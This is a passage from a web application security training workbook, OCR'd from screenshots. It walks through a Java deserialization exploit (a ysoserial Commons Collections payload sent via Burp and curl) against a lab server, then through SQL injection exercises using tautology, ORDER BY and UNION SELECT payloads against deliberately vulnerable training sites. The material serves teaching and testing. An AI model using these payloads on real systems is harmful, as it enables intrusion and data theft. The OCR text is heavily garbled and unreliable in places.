16 <br/=

Paste URL as request

Add to site map o '__
= Q@[] [s

URL-encode as you type

0 matches

INSPECTOR  (7)
Query Parameters (0)
Body Parameters (0)
Request Cookies (1)
Request Headers (8)

Response Headers (5)

1,672 bytes | 2 millis

X

v

19. Now, c€at the Base64 encoded object in a terminal, select it, and copy it into clipboard.

cat deser.b64

222
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[~]1% cat deser.b64
rOOABXNyAC5qYXZheC5tYW5hZ2VtZW50LKkIhZEFOdHIpYnVOZVZhbHV1RXhwRXhjZXB0aW9ul0fa
g2MtRKACAAFMAANZ2YWxBABIMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGly
btDO9Hz4a0xzEAgAAeHIAE2phdmEubGFuUZy5UaHlvd2FibGXVxjUn0Xed ywMABEWABWNhdXN1dAAY
TGphdmEvbGFuZy9UaHIvd2FibGU7TAANZGVOYWLlsTWVZzc2FnZXQAEkxgYXZhL2xhbmecvU3RyaW5n
D1sACNNOYWNrVHIhY2VOABSbTGphdmEvbGFuZy9TdGFjalRyYWNLRWx1bWVudDtMABRzdXBwemVz
c2VKRXhjZXB0aWouc3QAEExqYXZhL3VOaWwvTGlzdDt4cHEATgAIcHVYABSbTGphdmEubGFUZy5T
dGFjalRyYWN1RWx1bWVudDsCRio8PPOi0QIAAHhWAAAAAINYABtqYXZhLmxhbmcuU3RhY2tUcmFj
ZUVsZW11lbnRhCcWaljbdhQIACEIABmZvcmlhdEKACmxpbmVOdW1iZXIMAA9jbGFzcOxvYWR1ck5h
bWVxAH4ABUWADMR1Y2xhcmluZONsYXNzcQB+AAVMAAhRmaWx1TmFtZXEATgAFTAAKbWY0aGOkTmFt
ZXEATQAFTAAKbWOKdWx1TmFtZXEATgAFTAANDWOkdWx1VmVyc21lvbnEATgAFeHABAAAAUXQAAZ Fw
cHOAINn1zb3N1cmlhbC5wYX1sb2Fkcy5Db21tb252029sbGVjdGlvbnM1dAAYQ29tbWIOucONvbGx1
Y3Rpb25zNS5qYXZhdAAJZ2VOT2IqZWNOcHBzcOB+AASBAAAAMIEATgANCOB+AASxAH4AD3EATgAQ
cHBzcOQB+AASBAAAAINEATgANdAAZeXNvc2VyaWFsLkd1bmVyYXRLUGF5bGOhZHOAFEd LbmVyYXR1
UGF5bGOhZC5qYXZhdAAEDWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWNOaW9ucyRFbXBOeUxpc3R6
uBeOPKee3gIAAHhweHNyYADRvemcuYXBhY2h1LmNvbWlvbnMuY29sbGVjdGlvbnMua2V5dmFsdWUu
VGL1ZE1hcEVudH151g35mznBH9sCAAIMAAN rZX1 xAH4AAUWAA21hcHOQADBxgYXZhL3VOaWwv TWFw
03hwdAADZmOvc3IAKmIyZy5hecGFjaGUuY29tbWlucy5jb2xsZWNOaWlucyS5tYXAUTGF6eUlhecG71
LIKeeRCUAWABTAAHZMF jdGOyeXQALExvemcvYXBhYZh1L2NvbWlvbnMvY29sbGVjdGlvbnMvVHIh
bnNmb3JtZXI7eHBzcgAbb3InLmFwYWNoZS5jb21th25zLmNvbGx1Y3Rpb25zLmZ1bmNOb3JzLkNo
YWLuZWRUcmFuc2ZvecmllcjDHl+woepcEAgABWwWANaVRYYWS5zZmg b3InL2FwYWNo
ZS597b21tb25zL2NvbGx1Y3Rpb25zL1RyYW52ZmOybWVy 03 hwd X SRl LR lE] NNoZS5jb21t
b25zLmNvbGx1Y3Rpb25zL1RyYW5zZm9ybWVy07 1WKvHYNB1ZAg/Heeiars A8 9yZy5hcGFj
aGUUY29tbWlucy5jb2xsZWNO@aW9ucy5mdW5jdGOycy5Db25zdGHSS WVyWHaQEUEC
sZQCAAFMAA1PQ29uc3RhbnRxAHAAAXhwdnIAEWphdmEubGFuZy* AAAAAAAAABA
cHNyADpvemcuYXBhY2h1LmNvbW1lvbnMuY29sbGVjdGLlybnMuZn\EaRessiE i 2tlclRyYW5z
Zm9ybWVyh+j/a3t8zjgCAANDAAVPOXInc3QAELtMamF2YSOs YW am:ren AtpTWVOaGak
TmFtZXEATgAFWwALaVBhcmFtVHLIWZXNOABIbTGphdmEvhGFuZyq e = BNbTGphdmEu
bGFUZy5PYmplY3Q7KM5YnxBzKWWCAABA CAAAAATOAADNZXRS dW e F 2 S5 5 YWS5N
LkNsYXNz06sW167LzVqZAgAAeHAAAAAAdAAIZ2VOTWYOaGIkd X IR BBqYXZhLmxh
bmcul3RyaW5noPCkOHo7sOICAAB4 cHZXAH4AL 3NxAHAAKHV X AH J iR Ee nAsAAAAAHQA
Bmludm9 rZXVxAH4ALWAAAAI2cgAQamF2YS5sYW5nLk9iamV i dA /A B2cQB+ACxz
cQB+AChlcgATWOxqYXZhLmxhbmcuU3RyaW5n063SVufpHXtHAg sl BAgL3N1Y3J1
dC50eHQgL29wdCOhcHAVZmM1 sZXMvZHVtbXkuaHR t bHQABGV 4 ZW N RESRE IR el NB+ADRzcQB+
ACRzcgARamF2YS55YW5nLkludGVnZX154qCkO4GHOATAAUKABX [ EubGFuZy50
dW1iZXKGrlUdC5TgiwIAAHhwAAAAAXNYABFgYXZhLnVOaWwusSG s = DRAwWACRgAK
nghZEZhYBRv|kkACKR0|szaGQsZHhwPOAAAAAAAAB’CAAAABAAAAAAqu—

20. Go back to Repeater, and paste the contents in the request:
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m Cancel ’E‘

Request

Pretty

POST /MakeOrder HTTP/1.1

3 User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101
Firefox/86.0

Accept: text/html,applications/xhtml+xml,application/xml;g=0.9,image / wehp,*/*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

2 Cookie: JSESSIONID=aZopt3tal4lgoea8hbygzjvhb

2 Upgrade-Insecure-Requests: 1

10 Content-Length: 2820

11 Content-Type: application/x-www-form-urlencoded

AR

rOQABXNy ACSqYXZhe CS5tYWShZ2Vt ZWS0Lk JhZEFGdHIpYnVOZVZhbHVL RXhwRXh] ZXBEGaWsulofa
q2Mt Rk ACAAFMAANZYWx OABIMamF2Y S9sYWSnLOS1amV] dOt 4cg ATamF2Y SSsYWSn LK VAY 2Vwd Gl v
btDSHz 4a0xzEAgAAeHI AEZphdmEubGFUZy SUaHIvd 2F1b GXVix ] UnOXe dywMABEwABWNhd XNL d AAY
TGphdmEvbGFUZy9UaHIvd2F1b GUTT AANZGVEYWL sTWVZc 2FnZX0AEk xqY ¥ZhL2xhbmovU3Ry awWsn
OLlsACNNEYWNrYHIRY 2VOABShTGphdmEvh GFUZy STdGF] al Ry YWNL Fwx 1 bwWvudDt MABRz d XBwemVz
c2VkR¥Xhj Z¥BOaWsuc 3QAEExqY XZhL3VOawwv TGl zdDt 4cHEATQAL cHVy ABShTGphdmEub GFUZy ST
dGFj alRyYWNL RWx 1 bWvudDs CR108PPOL0QI AAHhwAAAAASNY ABt Y XZhLmxhbmculU3RhY 2t UcmF;j
ZUNsZW1TbnRhCcWaJjbdhQIACEI AEBmZvemlhdEk ACmxpbmVOdW11iZXIMAAS] b GFzcOxvYWRL ckSh
bWVx AHAABUWADMRLY 2xheml uZONsY XNz c QB+ AAVMAAhmaWx 1 TmFt ZXEAT g AFT AAKBWVOaGak TmFt
ZXEATQAFTAAKBWSk dWx 1 TmFt ZXEAT g AFT AANBWSk dWx 1 VmVyc 21l vhnEATgAFeHABAAAALXQAAZFW
cHOAINL zb3NLeml hbCowY ¥l sh2Fk cySDh 21t bh252029sb GV dGLvbnMLd AAY Q25 bWSucONvb Gx 1
¥3Rpb25zNSSqY XZhd AAIZ2VET21gZWNOcHBz c OB+ AASBAAAAMSEAT g ANC OB+ AASX AHAADIEATQAD
cHBEzcQB+AASBAAAAINEATgANd AAZe XNy c2VyaWFsLkdl bmVyY¥XRL UGFSh GShZHQAFEd T bmvy Y XRl
UGFShGShZC5qY XZhd AAEBWFpbnBwc 3T AHZphdmEud ¥Rpb CSDb 2x s ZWNOaWSucy RFb XBOeUxpc 3RE
uBeOPKee3gIAAHRweHNy ADRvcmcuY¥XBhY Zh1 LmNvbWLlvbnMuY29sh GV dGL vhnMua2VSdmFsdwlu
VGL1ZELhcEVudHIS1iq3SmznBHIs CAAIMAANT ZX¥] x AHAAAUWAAZLhcHOADGx qY ¥ZhL3VO0aWwy TWFw
03hwd AADZmSv c 3T AKM Sy Zy She GFj aGUUY 29t bWSucy 5] b2xs ZWNOaWaucy St Y XAUTGFEeU1lhe GT1
1IKeeRCUAWABT AAHZMF] dGOyeXQALExvemewY XBhY 2Zh 1 L2ZMvbWlvbnMyY29sbGY] dGl vbnMyVHIh
bnNmb31t Z¥I7eHBzcgABb3InLmFwYWNoZ55] b21th25zLmNvb Gx 1Y 3Rpb 25zLnZ1bmNGb3JzLkNo
YWLuZWRUcmFuc2Zvemll cj DHL +woepcEAg ABWWANa VRY YWSz Zm Sy bWy c 30ALVE Mb 3InL2FwYWNo
Z597h21th25zL2Nvb Gx 1Y 3Rph 25z L1 Ry YWSz Zm Sy bWy 03hwd XT ALVE Mb 3InLmPwYWNo Z55] b21t
b25zLmhvbGx1Y3Rpbh25z L1 Ry YWSz Zm 9y bWVy 07 IWKvHYNB1 ZAg AheHAAAAAFC ST ADZ29y Zy She GFj

0 matches

21. However, this will not work directly - the object is Base64 encoded and there are characters which need to be URL encoded before being used in an HTTP request. For example, +

and = characters will cause issues. Burp can do this for us: highlight the object, right click on it, and select Convert selection -> URL -> URL-encode key characters. Or click the

very handy shortcut Ctr1-U .
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Scan

Request Do passive scan Response

. Do active scan
Fretty MG \n  Actions v

Raw Render \n  Actions W

4 Accept: text/html,application/xhtm send to Intruder crd age/webp, */%;q=0.8

5 Accept-Language: en-US,en;g=0.5 Send to Repeater Ctrl-R
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Content-Type: text/html;charset=IS0-889

1
2

3 Connection: close
. Send to S

Connection: close end to Sequencer 4 Server: Jetty(7.2.0.v20101020)
& Cookie: JSESSIONID=aZopt3taldlqoea Send to Comparer 5
9 Upgrade-Insecure-Requests: 1 & Thank you for your submission.
10 Content-Length: 2820 send to Decoder 7
11 Content-Type: application/x-www-fo Show respanse in browser
1z
15 rOOABXNyACSqYXZheC5t YWShZ2Vt ZWS0Lk Request in browser > IXBOaWSulofa

14 g2MtRkACAAFMAANZYWxOABIMamF2YS9sYW
15 btDSHz4aOxzEAgAAeHIAEZ2phdmEubGFuUZy
16 TGphdmEvbGFuZySUaHIvd2FibGU7TAANZE Change request method
17 D1lsACNNOYWNrVHIhY2VOABShTGphdmEvbG
15 c2VkRxhj ZXBOawIuc 30AEExqYXZhL3Veal
12 dGFj alRyYWNLRWx1 bwWVudDsCRio08PPO10C
20 ZUVsZW1lbnRhCcWaljbdhQIACEIABmZvem
21 bWvxAH4ABUWADMRLY 2xheml uZONsY XNz ek
22 ZXEATgAFTAAKbWSkdwxl TmFt ZXEAT g AFT
23 cHOAInlzb3NLeml hbCSwY X1 sh2FkecySDb
24 ¥3Rpb25zNS5qYXZhd AAJZ2VET21qZWNOcH
S cHBzcOB+AASBAAAAINEATgANdAAZEXNvC
UGFSbGShZC5qYXZhd AAELWFpbnBwe 3TAH
7 uBeOPKee3gIAAHhweHNy ADRvcmcuYXBhY:
25 VWGL1ZElhcEVudHI5ig3SmznBHIs CAAIMA;
25 03hwdAADZmSvc3TAKmSy Zy ShcGFj aGUUY2
30 1IKeeRCUAWABTAAHZMF] dGOyeXQALExvem
31 bnNmb3JtZXI7eHBzcgABb3InLmFwYWNoZ)
32 YWluZwWRUcmFuc2Zvemll cj DHL +woepcEA
33 ZS9jb21tbh25zL2NvbGx1Y3Rph 25z L 1Ry’
34

S

Engagement tools >

Change body encoding
Copy URL

Copy as curl command WVOaGak TmFL
AAAUNOQAAZFW
WIUCONvbGx1

HAADSEATQAQ

Copy to file
Paste from file

Save item

Save entire history
Paste URL as request

Add to site map

Convert selection > URL

b25zLmNvbGx1 Y3Rpb 25z L1 Ry YW5zZnSy bl -encode as you type

35 aGUuY29t bWlucy5] b2xs ZWNOaWSucy Smdw Cut Ctrl-X Basebd
55 SZQCAAFMAAL pQ2Suc3RhbnRx AHAAAKhwdn .
7 cHNyADpvemcuYXBhY2h1 LmNybWlvbnMuYz Copy Ctrl-C Construct string > URL-encode all characters (Unicode)

35 Zm9ybWVyh+j fa3t8zj gCAANDAAVPOQXINCS Paste Ctri-v

@{.‘é} ‘EHE‘ ‘ h. Message editor documentation . - 0 matches @{@} |E”§|

Done Burp Repeater documentation

S

22, Finally, we need to add the name of the parameter. The application told us that it is expecting a parameter called obj , 0 let's add Obj = in front of the encoded object.
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Request

Pretty BRI \n  Actions W

1 POST fMakeOrder HTTP/L1.1

2 Host: 172.17.0.2:8080

3 User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux x86 84; rv:86,0) Gecko/20100101
Firefox/86.0

4 Accept: textshtml,application/xhtml+xml,application/xml;q=0.9,image /webp,*/*;q=0.8

5 Accept-Language: -US,en;g=0.5%

Accept-Encoding zip, deflate
Connection:

& Cookie: JS

10 Conte L 2820
11 Cont pe: application/x-www-form-urlencoded
18

By XZhe CS5tYWShZ2Vt ZWS0LKk JhZEFOdHIpYnVOZVZhbHVL RXhwRXhj ZXBEQawWsulofa
ZYWxOABIMamF2YS9sYWSnLOS1am V] dot dcg ATamF2Y S5sYWSnLk VaY 2Vwd Gl v
15 btDSHz4aOxzEAgAAeHIAEZphdmEubGFUZySUaHIvd 2F1ibGXVix ] UnOXe dywMABEwABWNhd XNL dAAY
15 TGphdmEvbGFUZy 9UaHIvd 2F1bGUTTAANZGVOYWL sTWVz c 2PN ZX0AEK x Y XZhL2xhbmc v U3Ry aWsn
17 01sACNNGYWNrVHIhY 2VOABShTGphdmEvbGFuZy STdGF] alRy YWNL RiWx 1 bWvudDt MABRz d XBwemVz
2 c2VkR¥hj Z¥BOaWsouc3QAEExqY XZhL3VOawWwv TGl zdDt 4cHEATQALcHVy ABShTGphdmEubh GFUZy ST
12 dGFjalRyYWNLFRWx 1 bWvVudDsCR108PPO100QI AAHhwAAAAASNY ABt q¥ XZhLmxhbmcuU3RhY 2t UcmF]
20 ZUNsZW1lbnRhCcWalj bdhQIACETABmZvemlhdEk ACmxphmVOdW1l1ZXIMAAS] bGFz cOx vYWRL ckSh
21 bWvVxAH4ABUWADMRLY 2xheml uZ0ONsY XNz cOB% 2b AAVMAAhmaWx L TmFt ZXEAT g AFT AAKBWVOa Gak TmFt

23. We are finally ready. Click on the Send button to send the request and if you get back a 200 OK message as below, you're almost there.
Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
1 %

‘ % Target: http://172.17.0.2:8080 @

2=
Request Response u INSEECTOR

precty JEEUM \n  Actions v Raw Render \n Actions v Query Parameters (0)

1 POST /MakeOrder HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 172.17.0.2:8080 2 Content-Type: text/html:charset=IS0-8859-1 Body Parameters (37)
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 5 Connection: close

Firefox/86.0 4 server: Jetty(7.2.0.v20101020)
4 Accept: text/html,application/xhtml+xnl,application/xml;q=0.9,image/webp,*/*;q=0.8 5
S Accept-Language: en-US,en;g=0.5 & Thank you for your submission.
G Accept-Encoding: gzip, deflate 7 Request Headers (10)
7 Connection: close
8 Cookie: JSESSIONID=aZopt3tal4lqoeashbygziyb
9 Upgrade-Insecure-Requests: 1 Response Headers (3)
10 Content-Length: 2820
11 Content-Type: application/x-www-forn-urlencoded

Request Cookies (1)

13 obj=r00ABXNyACSqYXZheC5t YWShZ2vt ZWS0Lk JhZEFOdHIpYnVOZVZhbHVL RXhwRxXhj ZXB0aWgu10fa
14 q2Mt Rk ACAAFMAANZYWxOABIMamF2YS9sYWSnLO9iamV]j dDt 4cgATamF2YSSsYWSnLkVAY 2vwdGly
15 btD9Hz4aOxzEAgAAeHT AE2phdmEubGFuZy SUaHIvd2FibGXVxj UnOXe4ywMABEWABANN XNL d AAV
16 TGphdmEvbGFuZy9UaHIvd2FibGU7TAANZGVOYWL STWVzZc 2FnZXQAEKxqYXZhL 2xhbmcvUSRyaWsn
17 01sACNNGYWNrVHIhY2VOABSbTGphdmEvb GFuZy 9TdGF] alRy YWNL RNX1 bWvudDt MABRzd XBwemVz
18 c2vkRxhj ZXBOaWIUC 3QAEEXqYXZhL3VOaWwyTGL zdDt 4cHEATgALcHVY ABSbTGphdmEUb GFUZy 5T
19 dGFjalRyYWNLRWx1bWVudDsCRio8PPO10QIAAHhwAAAAASNY ABt qYXZhLmxhbmcuU3RhY 2t UcmFj
20 ZUVsZW1lbnRhCcWalj bdhQIACET ABmZvemlhdEk ACmxpbmVOdWL1ZXIMAAS] bGFzcOxvYWRL ckSh
21 bWVxAH4ABUWADMRLY 2xhcml uZONSY XNz c QB 2b. h 1 TnFt ZXEAf g AFT. TnFt
22 ZXEATgAFTAAKbWOk dx1 TmFt ZXEAT g AFTAANDWSk dwx1 VinVyc 21 vbnEAT g AFeHABAAAAUXOAAZFW
23 cHQAIN1zb3NLemlhbCSwYXLsb2FkcySDb21t b252029sbGV] dGLvbnMLdAAYQ29t bWSucONvbGxL
Y3Rpb25zNS5qYXZhdAAJZ2VOT21qZWNOCHBZ cQB% 2b AASBAAAAMSEAT g ANC OB 2b AASX AH4AD3EAT g AQ
cHBzc QB 2bAASBAAAATNEAT g AN AAZe XNy c 2Vy alWFsLkdlbmVy Y XRL UGFSb GShZHQAFET bmVy YXRL
UGFShGIhZCSqYXZhd AAEbWFp bnBwc 3T AH2phdmEud XRpb CSDb 2xs ZWNGaWSU cy RFb XBOe Uxpc SRE
uBeOPKee3gIAAHhweHNy ADRvcmcuYXBhY2h1 LmNvbWlvbnMuY29sbGV] dGLvbnMua2vSdmFsdwlu
VGL1ZELhcEVudHISiq3SmznBHISCAAIMAANTZX1 x AH4AAUWAARLh cHQADOX qY XZhL3VOahwy TWFw
03hwd AADZn9v c3TAKm Sy ZyShcGFj aGUUY 29t bWOucy 5] b2xs ZWNOaWSucy 5t Y XAUTGFEeULhcG71
1IKeeRCUAWABT AAHZNF] dGOy e XQALExvemcvYXBhY2h1 L2NvbWlvbnMyY29sbGVj dGL vbnMyVHIh

51 bnNmb3Jt ZXI7eHBzcgAGb3InLmFwYWNoZS5] b21tb25zLmNvbGx1Y3Rpb25zLmZ1bnNOb3JzLkNo
32 YWLuZwWRUcmFuc2Zvemll cj DHL% 2bwoepcEAgABWWANa YRy YWSZ Zn 9y bWVy < S0ALVE Mb3InL2FwYWho
33 259jb21th25zL 2NvbGx1Y3Rpb25zL 1Ry YWSz ZmSy bWy 03hwd XT ALVt Mb3InLmFwYWNoZS5] b21t

34 b25zLnNvbGx1Y3Rpb252L1 Ry YWSzZn9y bWVy 071WKvHYNB1 ZAg AAeHAAAAAFC STAO29y Zy ShcGFj

Q&[> 5o | omacnes - (DG [€5]|

0 matches

©)

X

v

Done 145 bytes | 114 millis

24. Go to http://172.17.0.2:8080/0rderDisplay?filename=dummy with your browser and enjoy.
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Selected title details - Mozilla Firefox

Selected title details 5 | -+
w'_(—__:n = ¢ % ® |£ 172.17.0.2:8080/OrderDisplay?filename=dummy v @ ‘ﬂ'] @ ®@ & =
£ Most Visited

Here is information about the requested title:

The secret code is: FORTY-TWO!

Click Here to go back to selection.
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Alternative POST HTTP request submission with curl

1. If you have enough time, try to exploit the last step, after you have created the Base64 encoded object with CU r1, from command line.

2 Go to Proxy -> HTTP History in Burp and click on the most recent GET to /OrderD{ splay?filename=test (thefilenamewillbe test if you followed the

directions closely). Then find the session cookie from that request.

_J Request I Response ]

J Raw I Params I Headers Iﬂcx ]

GET /OrderDisplay?filename=test HTTP/1.1

Host: 172.17.0.2:B080

User-Agent: Mozilla/5.0 (X11; Ubunmtu; Linux x86 64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/hitml,application/xhtml+xml.application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,enig=0.5

Accept-Encoding: gzip, deflate

3 el

U s W

8 Fookie: JSESSIGNID=lIm‘FuiBj‘ngojlbpgeﬂccsxgﬁwl
9 > y Ha

3- Copy the cookie. It will look like this (note that your cookie will be different after the "= sign): JSESSIONID=114504qvixalkjjdkpgsbcgus .

4. Use curl tosubmitthe object as specified on the web site — it must be a POST HTTP request to the MakeOrder endpoint, with the object base64 encoded in parameter obj. Be
sure to replace PASTE—COOKIE-HERE with your cookie.

curl -v --cookie PASTE-COOKIE-HERE --data-urlencode "obj='cat deser.b64'" http://
172.17.0.2:8080/MakeOrder

Sample results

* Trying 172.17.0.2...

* TCP_NODELAY set

* Connected to 172.17.0.2 (172.17.0.2) port 8080 (#0)
\> POST /MakeOrder HTTP/1.1

\> Host: 172.17.0.2:8080

\> User-Agent: curl/7.58.0

\> Accept: */x

\> Cookie: JSESSIONID=1lmfui9jfdgojlbp9e8ccsxgéw
\> Content-Length: 2855

\> Content-Type: application/x-www-form-urlencoded
\> Expect: 100-continue

\>

< HTTP/1.1 100 Continue

* We are completely uploaded and fine

< HTTP/1.1 200 OK

< Content-Type: text/htmljcharset=IS0-8859-1

< Content-Length: 31

< Server: Jetty(7.2.0.v20101020)

<

Thank you for your submission.

5. Go to http://172.17.0.2:8080/0rderDisplay?filename=dummy with your browser and enjoy.
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Selected title details - Mozilla Firefox

Selected title details 5 | -+
w'_(—_'_:n = Q@ & o) |£ 172.17.0.2:8080/0rderDisplay?filename=dummy v @ ‘f}] @ ®@ & =
£ Most Visited

Here is information about the requested title:

The secret code is: FORTY-TWO!

Click Here to go back to selection.

1. Type exit to escape the attacker container and stop it by typing the following command in a terminal:

stop-containers.sh
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Exercise 3.4 - Error-Based SQLi

Objectives

+ Get hands-on experience with SQL injection flaws and attacks
+ Manually discover of SQLi flaws
« Elicit DB error messages

+ Determine proper syntax to avoid errors

+ Perform Data exfiltration both with and without employing SQL comments

ab Setup

‘

1. In this exercise, you work through testing an error-based SQL injection flaw in Sirius Cybernetics Corporation's Employee Phone
Lookup application.

2. Open Firefox and navigate to https://sec542.org/sqli/sqli.php.

Mozilla Firefox

v

sec542.org/sqli/sgli.php X ‘ +

® @

o
(o)

‘<;‘ - G @ [@"ﬂ https://sec542.0rg/sqli/sqli.php 10% ’ e O v INn @

£* Most Visited

Sirius Cybernetics Corporation

Employee Phone Lookup:
1 ] | submit Query |

Please provide a Sirius Corp employee's last name (e.g. Dent).

3. The simple employee lookup page presents a form. The text on the page suggests that it expects a last name and provides an
example of Dent.
4. Enter Dent in the form and click Submit Query.

5. Review the results that are presented.
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v Mozilla Firefox

sec542.org/sqli/sqli.php?narn X ‘ +

‘\('—l - G @® [G,’rﬂ https://sec542.0rg/sqli/sqli.php?nar 110% | e @ o Ineo o @& =

¥ Most Visited

Sirius Cybernetics Corporation

Employee Information

Name: Arthur Dent
Phone: (555) 867-5309
Name: Random Dent
Phone: (301) 951-0104

6. We find two records were returned providing a full name and phone number.

7. We also see a rather disturbing note about something called a Happy Vertical Transporter. What kind of sick organization is this?

Challenges

Target: https://sec542.org/sqli/sqli.php

Interact with the target page and perform the following tasks:

« Provide input that triggers a DB error message.

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 231


https://technet24.ir

Solution
tps:/sec542.org/sqli/sqli.php.

1. Firefox should be open to ht
2. Add a single quote to benign input ( Dent' ) in the form, and then click Submit Query.

Employee Phone Lookup:
! I Submit Query I

| ]
Dent
3. Now review the resultant error message.
v Mozilla Firefox - + X
I8 sec542.org/sqli/sgli.php?nam X |+
qli.php?name=Dent 10% - U W N 0 ® . =

[ GJ @ https://sec542.0rg/sc

(¢)»> ¢ @
£} Most Visited
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version

for the right syntax to use near ''Dent'" at line 1

4. Our input has caused MySQL to throw an error message. The message shows our input and a bit of surrounding text associated with the error we induced.

5. Looks like we caused an issue with misbalanced quotes.

+ Return all rows from the current table using a comment.

Technet24
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Solution

1- It feels like input is being passed toa WHERE clause.

2. Submit the following as form input:

Dent' OR 1=1;3#

Employee Phone Lookup:

|Dent' OR 1=1;#| ' | Submit Query

“The OR 1=1 subverts the logic of the WHERE to always yield TRUE. The semicolon ( § ) ends the SQL statement and the # comments out the rest of the SQL to avoid the

w

syntax error we encountered previously.

(€)= C @ @ @ hitps:/isec542.0rg/sqli/sgli php?name=Dent'+OR+1%3D1%3B%23

\

£+ Most Visited

Sirius Cybernetics Corporation

Employee Information

Name: Zaphod Beeblebrox
Phone: (844) 387-6962
Name: Arthur Dent
Phone: (555) 867-5309
Name: Ford Prefect
Phone: (555) 337-1337
Name: Marvin The Paranoid Android
Phone: (555) 542-4242
Name: Tricia McMillan
Phone: (301) 654-7267
Name: Almighty Bob
Phone: (301) 951-0102

»

Looks like we dumped all the entries available to this query.

Note

The resultant URL has characters that had to be URL encoded. We're not going to do anything with that now, but it is
worthwhile to get used to doing some encoding of payloads.

» Now, return all rows without using a comment.
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Solution
1. Although it's not needed for this scenario, let's yield the same result without leaning on the comment suffix appended to our payload. Recall the single quote caused the error

because it resulted in unbalanced quotes. So, we need to balance the quotes, though not by canceling them out with a comment delimiter.

2. Submit the following payload:

Dent' OR '1'='1

Employee Phone Lookup:

IDent' OR '1=1] [ submit Query |

Note

Only four single quotes are in the payload; there is no single quote at the end of the line.

3. You should receive the same results as the previous approach.

+ Leverage ORDER BY to determine number of columns.
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Solution

1- Having exposed all the data this query is built for, we need to target other tables. The primary method of doing this is through the use of UNION SELECT queries. For that to

be successful, we must determine the correct number of columns in the target query. We can employ the ORDER BY approach.

2 We submit payloads that include an ORDER BY targeting successive column numbers. An error means we have exceeded the number of columns in the target query.

3. Submit each of the following one at a time as input looking for a syntax error:

Dent' ORDER BY 1;#
Dent' ORDER BY 2;#
Dent' ORDER BY 3;#
Dent' ORDER BY 4;#

Dent' ORDER BY 5;#

4. Inputs 1-4 just return data.

Employee Information

Name: Arthur Dent
Phone: (555) 867-5309

5. Input 5 yielded an error, so that means there are 4 columns.
(&)= C G} @ https//sec542.0rg/sqli/sgli.php?name=Dent' +ORDER+BY+5%3B%23
£} Most Visited

Unknown column '5' in 'order clause'

* Expose the current query by showing the info column of the processlist tableinthe information_schema database.
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Solution

1. The final step is to determine the vulnerable query we are injecting into. Injections against MySQL can potentially expose the details of the vulnerable query. We need to use a

UNION SELECT building upon our knowledge of the number of columns.

2. To see the details, we need to display the info column of the process'h' st table contained inthe informat-i on_schema database. Submit the following to
ensure the proper columns and see which columns are displayed in the results:

Dent' UNION SELECT '1','2','3','4';#
Name: 2 3 '
Phone: 4

3. Columns 2, 3, and 4 all displayed fine.

4. Now, submit the following input:

Dent' UNION SELECT '1','2','3',info FROM information_schema.processlist;#

Name: 2 3
Phone: SELECT * FROM Customers WHERE Iname = 'Dent' UNION
SELECT '1','2','3",info FROM information schema.processlist;#'

5. We see displayed in the results the full details of the query we just triggered, including our injection:

SELECT * FROM Customers WHERE lname = 'Dent' UNION SELECT '1','2','3',info FROM
information_schema.processlist;
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Exercise 3.5 - sqimap + ZAP

Objectives

+ Manually test authenticated blind SQLi flaw using ZAP

« Integrate sglmap as a ZAP application

« Provide sqlmap authentication information from ZAP

« Leverage sqlmap and ZAP together to exploit a SQLi flaw

+ Gain understanding of many sqlmap capabilities

Note

In this lab, we will have you work with an authenticated blind SQL injection flaw. You will initially test the flaw manually with ZAP.
Once manual testing is understood, you will then employ sqlmap+ZAP to more efficiently exploit the SQLi flaw.

Lab Setup

1. Launch ZAP by clicking the ZAP icon in the upper panel at the top of the screen:

Note

ZAP takes a while to launch, roughly 10 seconds or so. Many students end up accidentally launching ZAP two or three times
during the delay. Run one instance of ZAP only.

Multiple instances of ZAP are running if you see this warning:
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== =
A Proxy port 8081 was in use. Try: 8082 |

Yes No

In this case, close the additional ZAP instances, leaving the original. When in doubt, close all ZAP instances and start over.

Warning

ZAP must be listening on port 8081 for this lab to work.

2. After ZAP starts, launch Firefox by clicking the Firefox icon in the upper panel.

3. Configure Firefox to use the running proxy.

4. In Firefox, select ZAP from the proxy selector drop-down:

n o

<" [Direct]
- [System Proxy]
@ Burp Community
Burp Pro
Zap

Y localhost ~

/& Options

Note

Always use the proxy selector to manage Firefox's proxy settings. Do not use other methods.
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5 Navigate to https://dvwa.sec542.org/

6. Log in with the following credentials:
* Username: admin

+ Password: password

Username

admin

Password

| Login |

7. Once you're authenticated, click the SQL Injection button on the sidebar.
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Challenges

Target: https://dvwa.sec542.org/vulnerabilities/sqli

« Verify the simple error-based SQLi flaw manually with ZAP/browser.
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Solution

1. First, let's confirm the existence of the simple error-based SQLi flaw.

2. Submit a valid id of 1 , and confirm the application is working appropriately.

Vulnerability: SQL Injection

User ID:

[ | Submit |

ID: 1 _
First name: admin
Surname: admin

3- Now, submita 1 followed by a single quote (1" ).
User ID:
| | Submit |

»

Notice the DB error message similar to what we have seen previously.
=

€ @ http://dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit#|

N

L iExercises v § Mutillidae % bWAPP [B]DVWA

You have an error in your SQL syntax;

* Execute sqlmap against the target using a cookie and proxied through ZAP
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Solution

1. Go to ZAP's history tab, and click on the GET that begins like this:

' GET https://dvwa.sec542.org/vulnerabilities/sqli/?id=...

File Edit View Analyse Report Tools Impor‘t Online Help

StandardMode v | | B H B # % 1 BP0 D0DED 42 ¢ © 0 b O %@ = m e
@ sSites = ; 47 Quick Start  =b Request 4= Response =

@ OE= Header: Text || Body: Text | | [ [

-~ (] Contexts GET https://dvwa.sec542. org/vulnerabilities/sqli/ HTTP/1.1

